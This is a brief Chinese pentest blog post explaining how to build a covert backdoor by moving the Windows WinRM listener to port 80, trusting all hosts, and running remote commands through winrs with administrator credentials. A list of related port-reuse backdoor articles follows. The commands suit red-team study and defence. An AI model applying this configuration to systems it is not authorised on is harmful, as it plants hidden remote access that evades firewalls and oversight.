WINRM实现端口复用后门

使用环境

渗透测试过程中有些网络环境禁止外链以及有防火墙的情况下可以重用计算机上面开放的某些端口这些端口往往不受到防火墙的阻挡，从而可以实现木马的远程操控

1.winrm 实现端口复用

win8环境下需要开启winrm配置 ,使用命令winrm quickconfig -q

2.把默认的5985端口修改成80端口

winrm set winrm/config/Listener?Address=*+Transport=HTTP @{Port="80"}

在另外一台机器上也开启winrm，设置受信任的连接主机

winrm set winrm/config/Client @{TrustedHosts="*"}

winrm quickconfig -q

winrs 连接winrm远程服务

winrs -r:http://www.baidu.com -u:administrator -p:Passw0rd whoami

只是简答的复现和记录

具体使用链接：

https://paper.seebug.org/1004/

WINRM实现端口复用后门相关推荐

linux 端口复用后门,一条命令实现端口复用后门
说到端口复用,大部分人第一反应肯定是想到内核驱动,需要对网络接口进行一些高大上的操作才能实现.但只要合理利用操作系统提供的功能,就能以简单的方式实现这一目标,本文将公布一种基于内置系统服务的端口复用后 ...
管理端口_内网渗透 | 红蓝对抗：Windows利用WinRM实现端口复用打造隐蔽后门
目录 WinRM端口复用原理端口复用配置新增80端口监听修改WinRM默认监听的端口远程连接WinRM WinRM端口复用原理该端口复用的原理是使用Windows的远程管理服务WinRM,结 ...
php开启端口复用,WebServer端口复用后门
0x00 有朋友问到了我一个关于"无端口可用"的问题.说在如下图所示的内网环境中,firewall只允许Web Server的80端口建立网络连接,并且Web Server上的80 ...
安全之路 —— 利用端口复用技术隐藏后门端口
简介前面我们介绍到我们可以用进程注入的方法,借用其他应用的端口收发信息,从而达到穿墙的效果,那么今天介绍一种新的方法,叫做端口复用技术,他能够与其他应用绑定同一个端口,但同时进行端口复用的程序会接管 ...
Web端口复用正向后门研究实现与防御
0×01背景现在的很多远控/后门因为目前主流防火墙规则的限制,基本上都采用TCP/UDP反弹回连的通讯形式:但是在较高安全环境下,尤其负责web相关业务的环境,因为安防设备(防火墙,IDS,IPS等 ...
linux端口复用隐藏后门
之前听前辈门说利用端口复用可以绕过服务端端口防护规则+进程审计,今天决定复现一下,划划水.水文一篇,表哥莫怪! 首先检查实验主机 192.168.246.131 端口,可以看到22端口是开着的,80端 ...
python监听多个udp端口_Python的Socket编程过程中实现UDP端口复用的实例分享
关于端口复用一个套接字不能同时绑定多个端口,如果客户端想绑定端口号,一定要调用发送信息函数之前绑定( bind )端口,因为在发送信息函数( sendto, 或 write ),系统会自动给当前网络 ...
iptables实现端口复用
iptables实现端口复用 1.端口复用的概念 2.基于iptables的端口复用 2.0 前置概念 2.0.1 iptables自定义链 2.0.2 iptables recent模块使用 2.1 ...
（权限维持）端口复用原理
原理:两种数据包包同时通过一个端口进行转发,比如一个木马绑定到服务器的一个合法端口,当接收到来自客户端的请求时,会先判断自己的特定包格式,如果是自己的包则自己处理,如果不是再转发给合法端口,攻击人无需 ...
[导入]C#中实现Socket端口复用
一.什么是端口复用: 因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分.这种多重绑定便称之为端口 ...

WINRM实现端口复用后门

WINRM实现端口复用后门相关推荐

最新文章

热门文章